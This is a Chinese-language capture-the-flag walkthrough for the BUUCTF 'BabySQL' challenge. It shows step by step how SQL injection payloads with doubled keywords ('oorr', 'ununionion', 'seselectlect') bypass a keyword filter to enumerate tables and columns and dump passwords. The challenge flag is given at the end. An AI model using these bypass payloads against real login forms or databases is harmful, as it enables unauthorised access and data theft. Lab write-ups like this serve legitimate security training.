【BUUCTF】BabySQL

判断注入类型

尝试万能密码：'1 or 1=1 -- qwe

发现仅剩下 1=1 -- qwe，可能ban掉了”or”关键词

尝试双写：1' oorr 1=1 -- qwe

登陆成功，可能以后都要双写了

判断字段数

1' oorrder bbyy 3 -- qwe

看来有三个字段

判断回显点

1' ununionion seselectlect 1,2,3 -- qwe

回显点是2和3

查表

1' ununionion seselectlect 1,table_name,3 frfromom information_schema.tables whwhereere table_schema=database() limit 0,1 -- qwe

看来or都被过滤了，所以系统自带库的也要双写：1' ununionion seselectlect 1,table_name,3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() limit 0,1 -- qwe

应该就是这个表

查字段

1' ununionion seselectlect 1,column_name,3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' anandd table_schema=database() limit 0,1 -- qwe

limit 2,1

查数据

这里不能忘了password里的or：1' ununionion seselectlect 1,concat(passwoorrd),3 frfromom b4bsql limit 0,1 -- qwe

经过上次的经验还是加上 group_concat吧

得到 flag{aea31b75-8445-4d13-bd03-de2a2de81159}